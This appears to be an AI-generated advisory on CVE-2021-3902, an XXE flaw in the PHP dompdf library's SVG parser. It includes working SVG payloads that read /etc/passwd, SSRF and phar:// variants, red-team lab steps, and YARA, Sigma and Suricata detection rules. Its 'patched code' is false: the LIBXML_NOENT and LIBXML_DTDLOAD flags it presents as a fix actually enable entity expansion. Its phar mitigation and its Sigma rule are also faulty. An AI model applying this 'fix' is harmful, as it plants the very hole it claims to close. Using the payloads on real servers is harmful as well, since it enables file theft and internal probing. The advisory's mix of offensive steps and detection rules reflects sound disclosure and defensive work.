CVE-2021-3902

Executive Summary

CVE-2021-3902 is a critical Improper Restriction of XML External Entities (XXE) vulnerability in the dompdf library, a popular PHP HTML-to-PDF converter. The vulnerability resides in the SVG parser component and allows an attacker to perform Server-Side Request Forgery (SSRF), disclose internal files (including images), and trigger PHAR deserialization attacks. This is particularly dangerous because it can be exploited even when the isRemoteEnabled option is set to false, which is a common security hardening measure. The CVSS score of 9.8 reflects the ease of exploitation and the high potential for complete compromise of confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability affects the dompdf/dompdf PHP package, which is widely used in web applications for generating PDF documents. The attack vector is through the SVG parser, which processes XML-based SVG files. An attacker can craft a malicious SVG file that, when processed by dompdf, triggers the XXE vulnerability. This can lead to SSRF attacks against internal services, disclosure of sensitive files (e.g., /etc/passwd, application configuration files), and PHAR deserialization, which can result in remote code execution. The vulnerability is present in all versions prior to 2.0.0.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete disclosure of all files on the system.
• Integrity (I): High (H) - Complete compromise of system integrity.
• Availability (A): High (H) - Total shutdown of the affected resource.

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to full server compromise.

Deep Dive & Mechanics

The vulnerability is an XML External Entity (XXE) injection in the SVG parser of dompdf. When dompdf processes an SVG file, it uses PHP's SimpleXMLElement or DOMDocument to parse the XML. Prior to version 2.0.0, the parser did not disable external entity loading. An attacker can embed an external entity definition in the SVG that references a local file or an external URL.

Example SVG payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>&xxe;</svg>

When dompdf parses this SVG, the entity &xxe; is replaced with the contents of /etc/passwd, which is then included in the generated PDF. This allows an attacker to read arbitrary files from the server.

For SSRF, the attacker can use:

<!ENTITY xxe SYSTEM "http://internal-service/admin">

For PHAR deserialization, the attacker can use a phar:// wrapper:

<!ENTITY xxe SYSTEM "phar:///path/to/uploaded.phar">

This can trigger deserialization of the PHAR metadata, leading to remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (dompdf < 2.0.0):

// In src/Svg.php or similar
$svg = simplexml_load_string($svgContent);
// No LIBXML_NOENT or LIBXML_DTDLOAD flags are set to disable external entities

Patched Code (dompdf >= 2.0.0):

// In src/Svg.php
$svg = simplexml_load_string($svgContent, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD);
// Or using DOMDocument with LIBXML_NONET
$dom = new DOMDocument();
$dom->loadXML($svgContent, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_NONET);

The patch explicitly disables external entity loading by using the LIBXML_NOENT and LIBXML_DTDLOAD flags, which prevent the parser from resolving external entities.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a vulnerable version of dompdf (e.g., 1.2.1) in a PHP environment.
2. Create a PHP script that uses dompdf to generate a PDF from user-supplied HTML/SVG.
3. Upload a malicious SVG file or include it in the HTML.

Exploit Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="100" height="100">
  <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
  <text x="10" y="50">&xxe;</text>
</svg>

Steps:

1. Submit the SVG as part of the HTML content to the vulnerable application.
2. The generated PDF will contain the contents of /etc/passwd.
3. For SSRF, replace the entity with an internal URL.
4. For PHAR deserialization, upload a malicious .phar file and reference it with phar://.

Blue Team (Defensive)

Detection:

• Monitor for unusual file read attempts (e.g., /etc/passwd, /proc/self/environ).
• Monitor for outbound connections to internal IP addresses from the web server.
• Look for PHAR file uploads and subsequent deserialization attempts.

Prevention:

• Immediately upgrade to dompdf 2.0.0 or later.
• If upgrade is not possible, apply a WAF rule to block SVG files containing <!DOCTYPE or SYSTEM declarations.
• Disable the phar stream wrapper in PHP configuration (phar.readonly = On and phar.require_hash = On).

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /proc/self/environ, /var/www/html/config.php
• Network Connections: Outbound connections to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) from the web server.
• Log Entries: PHP error logs containing SimpleXMLElement::__construct() or DOMDocument::loadXML() errors related to entity resolution.
• File Uploads: SVG files containing <!DOCTYPE or SYSTEM declarations.
• PHAR Files: Uploaded .phar files in temporary directories.

Detection Engineering

YARA Rule

rule CVE_2021_3902_XXE_SVG {
    meta:
        description = "Detects SVG files attempting XXE in dompdf"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2021-3902"
    strings:
        $svg_start = "<?xml"
        $doctype = "<!DOCTYPE"
        $entity = "<!ENTITY"
        $system = "SYSTEM"
        $file = "file://"
        $phar = "phar://"
        $http = "http://"
    condition:
        $svg_start and $doctype and $entity and $system and ($file or $phar or $http)
}

Sigma Rule

title: CVE-2021-3902 dompdf XXE Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2021-3902 via SVG XXE
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'svg'
        cs-uri-query|contains: '<!DOCTYPE'
    condition: selection
falsepositives:
    - Legitimate SVG files with DOCTYPE declarations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-3902 dompdf XXE Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"svg"; http_client_body; content:"<!DOCTYPE"; http_client_body; content:"SYSTEM"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade dompdf to version 2.0.0 or later.
2. Apply WAF rules to block SVG files containing <!DOCTYPE or SYSTEM declarations.
3. Disable the phar stream wrapper in php.ini:

   phar.readonly = On
   phar.require_hash = On
   

4. Restrict file permissions on sensitive files (e.g., /etc/passwd should not be readable by the web server user).

Long-term Mitigations:

• Implement input validation for SVG files.
• Use a dedicated SVG parser that disables external entities by default.
• Regularly update all dependencies, especially those handling XML.

Valters IT signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.